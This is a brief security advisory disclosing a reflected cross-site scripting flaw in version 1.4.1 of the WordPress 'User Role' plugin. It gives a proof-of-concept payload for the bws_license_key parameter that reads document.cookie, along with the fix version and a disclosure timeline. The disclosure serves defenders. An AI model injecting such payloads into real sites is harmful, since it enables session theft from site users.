WordPress User Role 1.4.1 Cross Site Scripting

`Plugin Name : User Role  
  
Effected Version : 1.4.1 (and most probably lower version's if any)  
  
Vulnerability : A3-Cross-Site Scripting (XSS)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Administrator  
  
PoC - (Proof of Concept) :  
  
In the following field put the payload as below  
  
http://localhost/wp-admin/admin.php?page=user-role.php&action=go_pro  
bws_license_key = “><img src=x onerror=prompt(document.cookie);>  
  
Vulnerable Parameter : bws_license_key  
  
Type of XSS : Reflected  
  
Fixed in : 1.4.2  
  
http://wordpress.org/plugins/user-role/changelog/  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-04  
  
Plugin Status : Updated on 2014-08-07  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
The User Role plugin allows you to change wordpress role capabilities. It is a very useful tool when your site has a bunch of visitors or subscribers. The plugin has intuitive and convenient interface so all the site visitors can be easily sorted by roles with a couple of clicks.  
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